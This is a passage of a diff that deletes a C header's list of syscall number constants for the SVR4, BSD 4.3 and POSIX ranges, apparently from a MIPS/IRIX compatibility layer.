-#define __NR_SYSV_syssgi (__NR_SYSV + 40) -#define __NR_SYSV_dup (__NR_SYSV + 41) -#define __NR_SYSV_pipe (__NR_SYSV + 42) -#define __NR_SYSV_times (__NR_SYSV + 43) -#define __NR_SYSV_profil (__NR_SYSV + 44) -#define __NR_SYSV_plock (__NR_SYSV + 45) -#define __NR_SYSV_setgid (__NR_SYSV + 46) -#define __NR_SYSV_getgid (__NR_SYSV + 47) -#define __NR_SYSV_sig (__NR_SYSV + 48) -#define __NR_SYSV_msgsys (__NR_SYSV + 49) -#define __NR_SYSV_sysmips (__NR_SYSV + 50) -#define __NR_SYSV_acct (__NR_SYSV + 51) -#define __NR_SYSV_shmsys (__NR_SYSV + 52) -#define __NR_SYSV_semsys (__NR_SYSV + 53) -#define __NR_SYSV_ioctl (__NR_SYSV + 54) -#define __NR_SYSV_uadmin (__NR_SYSV + 55) -#define __NR_SYSV_sysmp (__NR_SYSV + 56) -#define __NR_SYSV_utssys (__NR_SYSV + 57) -#define __NR_SYSV_USG_reserved1 (__NR_SYSV + 58) -#define __NR_SYSV_execve (__NR_SYSV + 59) -#define __NR_SYSV_umask (__NR_SYSV + 60) -#define __NR_SYSV_chroot (__NR_SYSV + 61) -#define __NR_SYSV_fcntl (__NR_SYSV + 62) -#define __NR_SYSV_ulimit (__NR_SYSV + 63) -#define __NR_SYSV_SAFARI4_reserved1 (__NR_SYSV + 64) -#define __NR_SYSV_SAFARI4_reserved2 (__NR_SYSV + 65) -#define __NR_SYSV_SAFARI4_reserved3 (__NR_SYSV + 66) -#define __NR_SYSV_SAFARI4_reserved4 (__NR_SYSV + 67) -#define __NR_SYSV_SAFARI4_reserved5 (__NR_SYSV + 68) -#define __NR_SYSV_SAFARI4_reserved6 (__NR_SYSV + 69) -#define __NR_SYSV_advfs (__NR_SYSV + 70) -#define __NR_SYSV_unadvfs (__NR_SYSV + 71) -#define __NR_SYSV_rmount (__NR_SYSV + 72) -#define __NR_SYSV_rumount (__NR_SYSV + 73) -#define __NR_SYSV_rfstart (__NR_SYSV + 74) -#define __NR_SYSV_getrlimit64 (__NR_SYSV + 75) -#define __NR_SYSV_setrlimit64 (__NR_SYSV + 76) -#define __NR_SYSV_nanosleep (__NR_SYSV + 77) -#define __NR_SYSV_lseek64 (__NR_SYSV + 78) -#define __NR_SYSV_rmdir (__NR_SYSV + 79) -#define __NR_SYSV_mkdir (__NR_SYSV + 80) -#define __NR_SYSV_getdents (__NR_SYSV + 81) -#define __NR_SYSV_sginap (__NR_SYSV + 82) -#define __NR_SYSV_sgikopt (__NR_SYSV + 83) -#define __NR_SYSV_sysfs (__NR_SYSV + 84) -#define __NR_SYSV_getmsg (__NR_SYSV + 85) -#define __NR_SYSV_putmsg (__NR_SYSV + 86) -#define __NR_SYSV_poll (__NR_SYSV + 87) -#define __NR_SYSV_sigreturn (__NR_SYSV + 88) -#define __NR_SYSV_accept (__NR_SYSV + 89) -#define __NR_SYSV_bind (__NR_SYSV + 90) -#define __NR_SYSV_connect (__NR_SYSV + 91) -#define __NR_SYSV_gethostid (__NR_SYSV + 92) -#define __NR_SYSV_getpeername (__NR_SYSV + 93) -#define __NR_SYSV_getsockname (__NR_SYSV + 94) -#define __NR_SYSV_getsockopt (__NR_SYSV + 95) -#define __NR_SYSV_listen (__NR_SYSV + 96) -#define __NR_SYSV_recv (__NR_SYSV + 97) -#define __NR_SYSV_recvfrom (__NR_SYSV + 98) -#define __NR_SYSV_recvmsg (__NR_SYSV + 99) -#define __NR_SYSV_select (__NR_SYSV + 100) -#define __NR_SYSV_send (__NR_SYSV + 101) -#define __NR_SYSV_sendmsg (__NR_SYSV + 102) -#define __NR_SYSV_sendto (__NR_SYSV + 103) -#define __NR_SYSV_sethostid (__NR_SYSV + 104) -#define __NR_SYSV_setsockopt (__NR_SYSV + 105) -#define __NR_SYSV_shutdown (__NR_SYSV + 106) -#define __NR_SYSV_socket (__NR_SYSV + 107) -#define __NR_SYSV_gethostname (__NR_SYSV + 108) -#define __NR_SYSV_sethostname (__NR_SYSV + 109) -#define __NR_SYSV_getdomainname (__NR_SYSV + 110) -#define __NR_SYSV_setdomainname (__NR_SYSV + 111) -#define __NR_SYSV_truncate (__NR_SYSV + 112) -#define __NR_SYSV_ftruncate (__NR_SYSV + 113) -#define __NR_SYSV_rename (__NR_SYSV + 114) -#define __NR_SYSV_symlink (__NR_SYSV + 115) -#define __NR_SYSV_readlink (__NR_SYSV + 116) -#define __NR_SYSV_lstat (__NR_SYSV + 117) -#define __NR_SYSV_nfsmount (__NR_SYSV + 118) -#define __NR_SYSV_nfssvc (__NR_SYSV + 119) -#define __NR_SYSV_getfh (__NR_SYSV + 120) -#define __NR_SYSV_async_daemon (__NR_SYSV + 121) -#define __NR_SYSV_exportfs (__NR_SYSV + 122) -#define __NR_SYSV_setregid (__NR_SYSV + 123) -#define __NR_SYSV_setreuid (__NR_SYSV + 124) -#define __NR_SYSV_getitimer (__NR_SYSV + 125) -#define __NR_SYSV_setitimer (__NR_SYSV + 126) -#define __NR_SYSV_adjtime (__NR_SYSV + 127) -#define __NR_SYSV_BSD_getime (__NR_SYSV + 128) -#define __NR_SYSV_sproc (__NR_SYSV + 129) -#define __NR_SYSV_prctl (__NR_SYSV + 130) -#define __NR_SYSV_procblk (__NR_SYSV + 131) -#define __NR_SYSV_sprocsp (__NR_SYSV + 132) -#define __NR_SYSV_sgigsc (__NR_SYSV + 133) -#define __NR_SYSV_mmap (__NR_SYSV + 134) -#define __NR_SYSV_munmap (__NR_SYSV + 135) -#define __NR_SYSV_mprotect (__NR_SYSV + 136) -#define __NR_SYSV_msync (__NR_SYSV + 137) -#define __NR_SYSV_madvise (__NR_SYSV + 138) -#define __NR_SYSV_pagelock (__NR_SYSV + 139) -#define __NR_SYSV_getpagesize (__NR_SYSV + 140) -#define __NR_SYSV_quotactl (__NR_SYSV + 141) -#define __NR_SYSV_libdetach (__NR_SYSV + 142) -#define __NR_SYSV_BSDgetpgrp (__NR_SYSV + 143) -#define __NR_SYSV_BSDsetpgrp (__NR_SYSV + 144) -#define __NR_SYSV_vhangup (__NR_SYSV + 145) -#define __NR_SYSV_fsync (__NR_SYSV + 146) -#define __NR_SYSV_fchdir (__NR_SYSV + 147) -#define __NR_SYSV_getrlimit (__NR_SYSV + 148) -#define __NR_SYSV_setrlimit (__NR_SYSV + 149) -#define __NR_SYSV_cacheflush (__NR_SYSV + 150) -#define __NR_SYSV_cachectl (__NR_SYSV + 151) -#define __NR_SYSV_fchown (__NR_SYSV + 152) -#define __NR_SYSV_fchmod (__NR_SYSV + 153) -#define __NR_SYSV_wait3 (__NR_SYSV + 154) -#define __NR_SYSV_socketpair (__NR_SYSV + 155) -#define __NR_SYSV_sysinfo (__NR_SYSV + 156) -#define __NR_SYSV_nuname (__NR_SYSV + 157) -#define __NR_SYSV_xstat (__NR_SYSV + 158) -#define __NR_SYSV_lxstat (__NR_SYSV + 159) -#define __NR_SYSV_fxstat (__NR_SYSV + 160) -#define __NR_SYSV_xmknod (__NR_SYSV + 161) -#define __NR_SYSV_ksigaction (__NR_SYSV + 162) -#define __NR_SYSV_sigpending (__NR_SYSV + 163) -#define __NR_SYSV_sigprocmask (__NR_SYSV + 164) -#define __NR_SYSV_sigsuspend (__NR_SYSV + 165) -#define __NR_SYSV_sigpoll (__NR_SYSV + 166) -#define __NR_SYSV_swapctl (__NR_SYSV + 167) -#define __NR_SYSV_getcontext (__NR_SYSV + 168) -#define __NR_SYSV_setcontext (__NR_SYSV + 169) -#define __NR_SYSV_waitsys (__NR_SYSV + 170) -#define __NR_SYSV_sigstack (__NR_SYSV + 171) -#define __NR_SYSV_sigaltstack (__NR_SYSV + 172) -#define __NR_SYSV_sigsendset (__NR_SYSV + 173) -#define __NR_SYSV_statvfs (__NR_SYSV + 174) -#define __NR_SYSV_fstatvfs (__NR_SYSV + 175) -#define __NR_SYSV_getpmsg (__NR_SYSV + 176) -#define __NR_SYSV_putpmsg (__NR_SYSV + 177) -#define __NR_SYSV_lchown (__NR_SYSV + 178) -#define __NR_SYSV_priocntl (__NR_SYSV + 179) -#define __NR_SYSV_ksigqueue (__NR_SYSV + 180) -#define __NR_SYSV_readv (__NR_SYSV + 181) -#define __NR_SYSV_writev (__NR_SYSV + 182) -#define __NR_SYSV_truncate64 (__NR_SYSV + 183) -#define __NR_SYSV_ftruncate64 (__NR_SYSV + 184) -#define __NR_SYSV_mmap64 (__NR_SYSV + 185) -#define __NR_SYSV_dmi (__NR_SYSV + 186) -#define __NR_SYSV_pread (__NR_SYSV + 187) -#define __NR_SYSV_pwrite (__NR_SYSV + 188) - -/* - * BSD 4.3 syscalls are in the range from 2000 to 2999 - */ -#define __NR_BSD43 2000 -#define __NR_BSD43_syscall (__NR_BSD43 + 0) -#define __NR_BSD43_exit (__NR_BSD43 + 1) -#define __NR_BSD43_fork (__NR_BSD43 + 2) -#define __NR_BSD43_read (__NR_BSD43 + 3) -#define __NR_BSD43_write (__NR_BSD43 + 4) -#define __NR_BSD43_open (__NR_BSD43 + 5) -#define __NR_BSD43_close (__NR_BSD43 + 6) -#define __NR_BSD43_wait (__NR_BSD43 + 7) -#define __NR_BSD43_creat (__NR_BSD43 + 8) -#define __NR_BSD43_link (__NR_BSD43 + 9) -#define __NR_BSD43_unlink (__NR_BSD43 + 10) -#define __NR_BSD43_exec (__NR_BSD43 + 11) -#define __NR_BSD43_chdir (__NR_BSD43 + 12) -#define __NR_BSD43_time (__NR_BSD43 + 13) -#define __NR_BSD43_mknod (__NR_BSD43 + 14) -#define __NR_BSD43_chmod (__NR_BSD43 + 15) -#define __NR_BSD43_chown (__NR_BSD43 + 16) -#define __NR_BSD43_sbreak (__NR_BSD43 + 17) -#define __NR_BSD43_oldstat (__NR_BSD43 + 18) -#define __NR_BSD43_lseek (__NR_BSD43 + 19) -#define __NR_BSD43_getpid (__NR_BSD43 + 20) -#define __NR_BSD43_oldmount (__NR_BSD43 + 21) -#define __NR_BSD43_umount (__NR_BSD43 + 22) -#define __NR_BSD43_setuid (__NR_BSD43 + 23) -#define __NR_BSD43_getuid (__NR_BSD43 + 24) -#define __NR_BSD43_stime (__NR_BSD43 + 25) -#define __NR_BSD43_ptrace (__NR_BSD43 + 26) -#define __NR_BSD43_alarm (__NR_BSD43 + 27) -#define __NR_BSD43_oldfstat (__NR_BSD43 + 28) -#define __NR_BSD43_pause (__NR_BSD43 + 29) -#define __NR_BSD43_utime (__NR_BSD43 + 30) -#define __NR_BSD43_stty (__NR_BSD43 + 31) -#define __NR_BSD43_gtty (__NR_BSD43 + 32) -#define __NR_BSD43_access (__NR_BSD43 + 33) -#define __NR_BSD43_nice (__NR_BSD43 + 34) -#define __NR_BSD43_ftime (__NR_BSD43 + 35) -#define __NR_BSD43_sync (__NR_BSD43 + 36) -#define __NR_BSD43_kill (__NR_BSD43 + 37) -#define __NR_BSD43_stat (__NR_BSD43 + 38) -#define __NR_BSD43_oldsetpgrp (__NR_BSD43 + 39) -#define __NR_BSD43_lstat (__NR_BSD43 + 40) -#define __NR_BSD43_dup (__NR_BSD43 + 41) -#define __NR_BSD43_pipe (__NR_BSD43 + 42) -#define __NR_BSD43_times (__NR_BSD43 + 43) -#define __NR_BSD43_profil (__NR_BSD43 + 44) -#define __NR_BSD43_msgsys (__NR_BSD43 + 45) -#define __NR_BSD43_setgid (__NR_BSD43 + 46) -#define __NR_BSD43_getgid (__NR_BSD43 + 47) -#define __NR_BSD43_ssig (__NR_BSD43 + 48) -#define __NR_BSD43_reserved1 (__NR_BSD43 + 49) -#define __NR_BSD43_reserved2 (__NR_BSD43 + 50) -#define __NR_BSD43_sysacct (__NR_BSD43 + 51) -#define __NR_BSD43_phys (__NR_BSD43 + 52) -#define __NR_BSD43_lock (__NR_BSD43 + 53) -#define __NR_BSD43_ioctl (__NR_BSD43 + 54) -#define __NR_BSD43_reboot (__NR_BSD43 + 55) -#define __NR_BSD43_mpxchan (__NR_BSD43 + 56) -#define __NR_BSD43_symlink (__NR_BSD43 + 57) -#define __NR_BSD43_readlink (__NR_BSD43 + 58) -#define __NR_BSD43_execve (__NR_BSD43 + 59) -#define __NR_BSD43_umask (__NR_BSD43 + 60) -#define __NR_BSD43_chroot (__NR_BSD43 + 61) -#define __NR_BSD43_fstat (__NR_BSD43 + 62) -#define __NR_BSD43_reserved3 (__NR_BSD43 + 63) -#define __NR_BSD43_getpagesize (__NR_BSD43 + 64) -#define __NR_BSD43_mremap (__NR_BSD43 + 65) -#define __NR_BSD43_vfork (__NR_BSD43 + 66) -#define __NR_BSD43_vread (__NR_BSD43 + 67) -#define __NR_BSD43_vwrite (__NR_BSD43 + 68) -#define __NR_BSD43_sbrk (__NR_BSD43 + 69) -#define __NR_BSD43_sstk (__NR_BSD43 + 70) -#define __NR_BSD43_mmap (__NR_BSD43 + 71) -#define __NR_BSD43_vadvise (__NR_BSD43 + 72) -#define __NR_BSD43_munmap (__NR_BSD43 + 73) -#define __NR_BSD43_mprotect (__NR_BSD43 + 74) -#define __NR_BSD43_madvise (__NR_BSD43 + 75) -#define __NR_BSD43_vhangup (__NR_BSD43 + 76) -#define __NR_BSD43_vlimit (__NR_BSD43 + 77) -#define __NR_BSD43_mincore (__NR_BSD43 + 78) -#define __NR_BSD43_getgroups (__NR_BSD43 + 79) -#define __NR_BSD43_setgroups (__NR_BSD43 + 80) -#define __NR_BSD43_getpgrp (__NR_BSD43 + 81) -#define __NR_BSD43_setpgrp (__NR_BSD43 + 82) -#define __NR_BSD43_setitimer (__NR_BSD43 + 83) -#define __NR_BSD43_wait3 (__NR_BSD43 + 84) -#define __NR_BSD43_swapon (__NR_BSD43 + 85) -#define __NR_BSD43_getitimer (__NR_BSD43 + 86) -#define __NR_BSD43_gethostname (__NR_BSD43 + 87) -#define __NR_BSD43_sethostname (__NR_BSD43 + 88) -#define __NR_BSD43_getdtablesize (__NR_BSD43 + 89) -#define __NR_BSD43_dup2 (__NR_BSD43 + 90) -#define __NR_BSD43_getdopt (__NR_BSD43 + 91) -#define __NR_BSD43_fcntl (__NR_BSD43 + 92) -#define __NR_BSD43_select (__NR_BSD43 + 93) -#define __NR_BSD43_setdopt (__NR_BSD43 + 94) -#define __NR_BSD43_fsync (__NR_BSD43 + 95) -#define __NR_BSD43_setpriority (__NR_BSD43 + 96) -#define __NR_BSD43_socket (__NR_BSD43 + 97) -#define __NR_BSD43_connect (__NR_BSD43 + 98) -#define __NR_BSD43_oldaccept (__NR_BSD43 + 99) -#define __NR_BSD43_getpriority (__NR_BSD43 + 100) -#define __NR_BSD43_send (__NR_BSD43 + 101) -#define __NR_BSD43_recv (__NR_BSD43 + 102) -#define __NR_BSD43_sigreturn (__NR_BSD43 + 103) -#define __NR_BSD43_bind (__NR_BSD43 + 104) -#define __NR_BSD43_setsockopt (__NR_BSD43 + 105) -#define __NR_BSD43_listen (__NR_BSD43 + 106) -#define __NR_BSD43_vtimes (__NR_BSD43 + 107) -#define __NR_BSD43_sigvec (__NR_BSD43 + 108) -#define __NR_BSD43_sigblock (__NR_BSD43 + 109) -#define __NR_BSD43_sigsetmask (__NR_BSD43 + 110) -#define __NR_BSD43_sigpause (__NR_BSD43 + 111) -#define __NR_BSD43_sigstack (__NR_BSD43 + 112) -#define __NR_BSD43_oldrecvmsg (__NR_BSD43 + 113) -#define __NR_BSD43_oldsendmsg (__NR_BSD43 + 114) -#define __NR_BSD43_vtrace (__NR_BSD43 + 115) -#define __NR_BSD43_gettimeofday (__NR_BSD43 + 116) -#define __NR_BSD43_getrusage (__NR_BSD43 + 117) -#define __NR_BSD43_getsockopt (__NR_BSD43 + 118) -#define __NR_BSD43_reserved4 (__NR_BSD43 + 119) -#define __NR_BSD43_readv (__NR_BSD43 + 120) -#define __NR_BSD43_writev (__NR_BSD43 + 121) -#define __NR_BSD43_settimeofday (__NR_BSD43 + 122) -#define __NR_BSD43_fchown (__NR_BSD43 + 123) -#define __NR_BSD43_fchmod (__NR_BSD43 + 124) -#define __NR_BSD43_oldrecvfrom (__NR_BSD43 + 125) -#define __NR_BSD43_setreuid (__NR_BSD43 + 126) -#define __NR_BSD43_setregid (__NR_BSD43 + 127) -#define __NR_BSD43_rename (__NR_BSD43 + 128) -#define __NR_BSD43_truncate (__NR_BSD43 + 129) -#define __NR_BSD43_ftruncate (__NR_BSD43 + 130) -#define __NR_BSD43_flock (__NR_BSD43 + 131) -#define __NR_BSD43_semsys (__NR_BSD43 + 132) -#define __NR_BSD43_sendto (__NR_BSD43 + 133) -#define __NR_BSD43_shutdown (__NR_BSD43 + 134) -#define __NR_BSD43_socketpair (__NR_BSD43 + 135) -#define __NR_BSD43_mkdir (__NR_BSD43 + 136) -#define __NR_BSD43_rmdir (__NR_BSD43 + 137) -#define __NR_BSD43_utimes (__NR_BSD43 + 138) -#define __NR_BSD43_sigcleanup (__NR_BSD43 + 139) -#define __NR_BSD43_adjtime (__NR_BSD43 + 140) -#define __NR_BSD43_oldgetpeername (__NR_BSD43 + 141) -#define __NR_BSD43_gethostid (__NR_BSD43 + 142) -#define __NR_BSD43_sethostid (__NR_BSD43 + 143) -#define __NR_BSD43_getrlimit (__NR_BSD43 + 144) -#define __NR_BSD43_setrlimit (__NR_BSD43 + 145) -#define __NR_BSD43_killpg (__NR_BSD43 + 146) -#define __NR_BSD43_shmsys (__NR_BSD43 + 147) -#define __NR_BSD43_quota (__NR_BSD43 + 148) -#define __NR_BSD43_qquota (__NR_BSD43 + 149) -#define __NR_BSD43_oldgetsockname (__NR_BSD43 + 150) -#define __NR_BSD43_sysmips (__NR_BSD43 + 151) -#define __NR_BSD43_cacheflush (__NR_BSD43 + 152) -#define __NR_BSD43_cachectl (__NR_BSD43 + 153) -#define __NR_BSD43_debug (__NR_BSD43 + 154) -#define __NR_BSD43_reserved5 (__NR_BSD43 + 155) -#define __NR_BSD43_reserved6 (__NR_BSD43 + 156) -#define __NR_BSD43_nfs_mount (__NR_BSD43 + 157) -#define __NR_BSD43_nfs_svc (__NR_BSD43 + 158) -#define __NR_BSD43_getdirentries (__NR_BSD43 + 159) -#define __NR_BSD43_statfs (__NR_BSD43 + 160) -#define __NR_BSD43_fstatfs (__NR_BSD43 + 161) -#define __NR_BSD43_unmount (__NR_BSD43 + 162) -#define __NR_BSD43_async_daemon (__NR_BSD43 + 163) -#define __NR_BSD43_nfs_getfh (__NR_BSD43 + 164) -#define __NR_BSD43_getdomainname (__NR_BSD43 + 165) -#define __NR_BSD43_setdomainname (__NR_BSD43 + 166) -#define __NR_BSD43_pcfs_mount (__NR_BSD43 + 167) -#define __NR_BSD43_quotactl (__NR_BSD43 + 168) -#define __NR_BSD43_oldexportfs (__NR_BSD43 + 169) -#define __NR_BSD43_smount (__NR_BSD43 + 170) -#define __NR_BSD43_mipshwconf (__NR_BSD43 + 171) -#define __NR_BSD43_exportfs (__NR_BSD43 + 172) -#define __NR_BSD43_nfsfh_open (__NR_BSD43 + 173) -#define __NR_BSD43_libattach (__NR_BSD43 + 174) -#define __NR_BSD43_libdetach (__NR_BSD43 + 175) -#define __NR_BSD43_accept (__NR_BSD43 + 176) -#define __NR_BSD43_reserved7 (__NR_BSD43 + 177) -#define __NR_BSD43_reserved8 (__NR_BSD43 + 178) -#define __NR_BSD43_recvmsg (__NR_BSD43 + 179) -#define __NR_BSD43_recvfrom (__NR_BSD43 + 180) -#define __NR_BSD43_sendmsg (__NR_BSD43 + 181) -#define __NR_BSD43_getpeername (__NR_BSD43 + 182) -#define __NR_BSD43_getsockname (__NR_BSD43 + 183) -#define __NR_BSD43_aread (__NR_BSD43 + 184) -#define __NR_BSD43_awrite (__NR_BSD43 + 185) -#define __NR_BSD43_listio (__NR_BSD43 + 186) -#define __NR_BSD43_acancel (__NR_BSD43 + 187) -#define __NR_BSD43_astatus (__NR_BSD43 + 188) -#define __NR_BSD43_await (__NR_BSD43 + 189) -#define __NR_BSD43_areadv (__NR_BSD43 + 190) -#define __NR_BSD43_awritev (__NR_BSD43 + 191) - -/* - * POSIX syscalls are in the range from 3000 to 3999 - */ -#define __NR_POSIX 3000 -#define __NR_POSIX_syscall (__NR_POSIX + 0) -#define __NR_POSIX_exit (__NR_POSIX + 1) -#define __NR_POSIX_fork (__NR_POSIX + 2) -#define __NR_POSIX_read (__NR_POSIX + 3) -#define __NR_POSIX_write (__NR_POSIX + 4) -#define __NR_POSIX_open (__NR_POSIX + 5) -#define __NR_POSIX_close (__NR_POSIX + 6) -#define __NR_POSIX_wait (__NR_POSIX + 7) -#define __NR_POSIX_creat (__NR_POSIX + 8) -#define __NR_POSIX_link (__NR_POSIX + 9) -#define __NR_POSIX_unlink (__NR_POSIX + 10) -#define __NR_POSIX_exec (__NR_POSIX + 11) -#define __NR_POSIX_chdir (__NR_POSIX + 12) -#define __NR_POSIX_gtime (__NR_POSIX + 13) -#define __NR_POSIX_mknod (__NR_POSIX + 14) -#define __NR_POSIX_chmod (__NR_POSIX + 15) -#define __NR_POSIX_chown (__NR_POSIX + 16) -#define __NR_POSIX_sbreak (__NR_POSIX + 17) -#define __NR_POSIX_stat (__NR_POSIX + 18) -#define __NR_POSIX_lseek (__NR_POSIX + 19) -#define __NR_POSIX_getpid (__NR_POSIX + 20) -#define __NR_POSIX_mount (__NR_POSIX + 21) -#define __NR_POSIX_umount (__NR_POSIX + 22) -#define __NR_POSIX_setuid (__NR_POSIX + 23) -#define __NR_POSIX_getuid (__NR_POSIX + 24) -#define __NR_POSIX_stime (__NR_POSIX + 25) -#define __NR_POSIX_ptrace (__NR_POSIX + 26) -#define __NR_POSIX_alarm (__NR_POSIX + 27) -#define __NR_POSIX_fstat (__NR_POSIX + 28) -#define __NR_POSIX_pause (__NR_POSIX + 29) -#define __NR_POSIX_utime (__NR_POSIX + 30) -#define __NR_POSIX_stty (__NR_POSIX + 31) -#define __NR_POSIX_gtty (__NR_POSIX + 32) -#define __NR_POSIX_access (__NR_POSIX + 33) -#define __NR_POSIX_nice (__NR_POSIX + 34) -#define __NR_POSIX_statfs (__NR_POSIX + 35) -#define __NR_POSIX_sync (__NR_POSIX + 36) -#define __NR_POSIX_kill (__NR_POSIX + 37) -#define __NR_POSIX_fstatfs (__NR_POSIX + 38) -#define __NR_POSIX_getpgrp (__NR_POSIX + 39) -#define __NR_POSIX_syssgi (__NR_POSIX + 40) -#define __NR_POSIX_dup (__NR_POSIX + 41) -#define __NR_POSIX_pipe (__NR_POSIX + 42) -#define __NR_POSIX_times (__NR_POSIX + 43) -#define __NR_POSIX_profil (__NR_POSIX + 44) -#define __NR_POSIX_lock (__NR_POSIX + 45) -#define __NR_POSIX_setgid (__NR_POSIX + 46) -#define __NR_POSIX_getgid (__NR_POSIX + 47) -#define __NR_POSIX_sig (__NR_POSIX + 48) -#define __NR_POSIX_msgsys (__NR_POSIX + 49) -#define __NR_POSIX_sysmips (__NR_POSIX + 50) -#define __NR_POSIX_sysacct (__NR_POSIX + 51) -#define __NR_POSIX_shmsys (__NR_POSIX + 52) -#define __NR_POSIX_semsys (__NR_POSIX + 53) -#define __NR_POSIX_ioctl (__NR_POSIX + 54) -#define __NR_POSIX_uadmin (__NR_POSIX + 55) -#define __NR_POSIX_exch (__NR_POSIX + 56) -#define __NR_POSIX_utssys (__NR_POSIX + 57) -#define __NR_POSIX_USG_reserved1 (__NR_POSIX + 58) -#define __NR_POSIX_exece (__NR_POSIX + 59) -#define __NR_POSIX_umask (__NR_POSIX + 60) -#define __NR_POSIX_chroot (__NR_POSIX + 61) -#define __NR_POSIX_fcntl (__NR_POSIX + 62) -#define __NR_POSIX_ulimit (__NR_POSIX + 63) -#define __NR_POSIX_SAFARI4_reserved1 (__NR_POSIX + 64) -#define __NR_POSIX_SAFARI4_reserved2 (__NR_POSIX + 65) -#define __NR_POSIX_SAFARI4_reserved3 (__NR_POSIX + 66) -#define __NR_POSIX_SAFARI4_reserved4 (__NR_POSIX + 67) -#define __NR_POSIX_SAFARI4_reserved5 (__NR_POSIX + 68) -#define __NR_POSIX_SAFARI4_reserved6 (__NR_POSIX + 69) -#define __NR_POSIX_advfs (__NR_POSIX + 70) -#define __NR_POSIX_unadvfs (__NR_POSIX + 71) -#define __NR_POSIX_rmount (__NR_POSIX + 72) -#define __NR_POSIX_rumount (__NR_POSIX + 73) -#define __NR_POSIX_rfstart (__NR_POSIX + 74) -#define __NR_POSIX_reserved1 (__NR_POSIX + 75) -#define __NR_POSIX_rdebug (__NR_POSIX + 76) -#define __NR_POSIX_rfstop (__NR_POSIX + 77) -#define __NR_POSIX_rfsys (__NR_POSIX + 78) -#define __NR_POSIX_rmdir (__NR_POSIX + 79) -#define __NR_POSIX_mkdir (__NR_POSIX + 80) -#define __NR_POSIX_getdents (__NR_POSIX + 81) -#define __NR_POSIX_sginap (__NR_POSIX + 82) -#define __NR_POSIX_sgikopt (__NR_POSIX + 83) -#define __NR_POSIX_sysfs (__NR_POSIX + 84) -#define __NR_POSIX_getmsg (__NR_POSIX + 85) -#define __NR_POSIX_putmsg (__NR_POSIX + 86) -#define __NR_POSIX_poll (__NR_POSIX + 87) -#define __NR_POSIX_sigreturn (__NR_POSIX + 88) -#define __NR_POSIX_accept (__NR_POSIX + 89) -#define __NR_POSIX_bind (__NR_POSIX + 90) -#define __NR_POSIX_connect (__NR_POSIX + 91) -#define __NR_POSIX_gethostid (__NR_POSIX + 92) -#define __NR_POSIX_getpeername (__NR_POSIX + 93) -#define __NR_POSIX_getsockname (__NR_POSIX + 94) -#define __NR_POSIX_getsockopt (__NR_POSIX + 95) -#define __NR_POSIX_listen (__NR_POSIX + 96) -#define __NR_POSIX_recv (__NR_POSIX + 97) -#define __NR_POSIX_recvfrom (__NR_POSIX + 98) -#define __NR_POSIX_recvmsg (__NR_POSIX + 99) -#define __NR_POSIX_select (__NR_POSIX + 100) -#define __NR_POSIX_send (__NR_POSIX + 101) -#define __NR_POSIX_sendmsg (__NR_POSIX + 102) -#define __NR_POSIX_sendto (__NR_POSIX + 103) -#define __NR_POSIX_sethostid (__NR_POSIX + 104) -#define __NR_POSIX_setsockopt (__NR_POSIX + 105) -#define __NR_POSIX_shutdown (__NR_POSIX + 106) -#define __NR_POSIX_socket (__NR_POSIX + 107) -#define __NR_POSIX_gethostname (__NR_POSIX + 108) -#define __NR_POSIX_sethostname (__NR_POSIX + 109) -#define __NR_POSIX_getdomainname (__NR_POSIX + 110) -#define __NR_POSIX_setdomainname (__NR_POSIX + 111) -#define __NR_POSIX_truncate (__NR_POSIX + 112) -#define __NR_POSIX_ftruncate (__NR_POSIX + 113) -#define __NR_POSIX_rename (__NR_POSIX + 114) -#define __NR_POSIX_symlink (__NR_POSIX + 115) -#define __NR_POSIX_readlink (__NR_POSIX + 116) -#define __NR_POSIX_lstat (__NR_POSIX + 117) -#define __NR_POSIX_nfs_mount (__NR_POSIX + 118) -#define __NR_POSIX_nfs_svc (__NR_POSIX + 119) -#define __NR_POSIX_nfs_getfh (__NR_POSIX + 120) -#define __NR_POSIX_async_daemon (__NR_POSIX + 121) -#define __NR_POSIX_exportfs (__NR_POSIX + 122) -#define __NR_POSIX_SGI_setregid (__NR_POSIX + 123) -#define __NR_POSIX_SGI_setreuid (__NR_POSIX + 124) -#define __NR_POSIX_getitimer (__NR_POSIX + 125) -#define __NR_POSIX_setitimer (__NR_POSIX + 126) -#define __NR_POSIX_adjtime (__NR_POSIX + 127) -#define __NR_POSIX_SGI_bsdgettime (__NR_POSIX + 128) -#define __NR_POSIX_SGI_sproc (__NR_POSIX + 129) -#define __NR_POSIX_SGI_prctl (__NR_POSIX + 130) -#define __NR_POSIX_SGI_blkproc (__NR_POSIX + 131) -#define __NR_POSIX_SGI_reserved1 (__NR_POSIX + 132) -#define __NR_POSIX_SGI_sgigsc (__NR_POSIX + 133) -#define __NR_POSIX_SGI_mmap (__NR_POSIX + 134) -#define __NR_POSIX_SGI_munmap (__NR_POSIX + 135) -#define __NR_POSIX_SGI_mprotect (__NR_POSIX + 136) -#define __NR_POSIX_SGI_msync (__NR_POSIX + 137) -#define __NR_POSIX_SGI_madvise (__NR_POSIX + 138) -#define __NR_POSIX_SGI_mpin (__NR_POSIX + 139) -#define __NR_POSIX_SGI_getpagesize (__NR_POSIX + 140) -#define __NR_POSIX_SGI_libattach (__NR_POSIX + 141) -#define __NR_POSIX_SGI_libdetach (__NR_POSIX + 142) -#define __NR_POSIX_SGI_getpgrp (__NR_POSIX + 143) -#define __NR_POSIX_SGI_setpgrp (__NR_POSIX + 144) -#define __NR_POSIX_SGI_reserved2 (__NR_POSIX + 145) -#define __NR_POSIX_SGI_reserved3 (__NR_POSIX + 146) -#define __NR_POSIX_SGI_reserved4 (__NR_POSIX + 147) -#define __NR_POSIX_SGI_reserved5 (__NR_POSIX + 148) -#define __NR_POSIX_SGI_reserved6 (__NR_POSIX + 149) -#define __NR_POSIX_cacheflush (__NR_POSIX + 150) -#define __NR_POSIX_cachectl (__NR_POSIX + 151) -#define __NR_POSIX_fchown (__NR_POSIX + 152) -#define __NR_POSIX_fchmod (__NR_POSIX + 153) -#define __NR_POSIX_wait3 (__NR_POSIX + 154) -#define __NR_POSIX_mmap (__NR_POSIX + 155) -#define __NR_POSIX_munmap (__NR_POSIX + 156) -#define __NR_POSIX_madvise (__NR_POSIX + 157) -#define __NR_POSIX_BSD_getpagesize (__NR_POSIX + 158) -#define __NR_POSIX_setreuid (__NR_POSIX + 159) -#define __NR_POSIX_setregid (__NR_POSIX + 160) -#define __NR_POSIX_setpgid (__NR_POSIX + 161) -#define __NR_POSIX_getgroups (__NR_POSIX + 162) -#define __NR_POSIX_setgroups (__NR_POSIX + 163) -#define __NR_POSIX_gettimeofday (__NR_POSIX + 164) -#define __NR_POSIX_getrusage 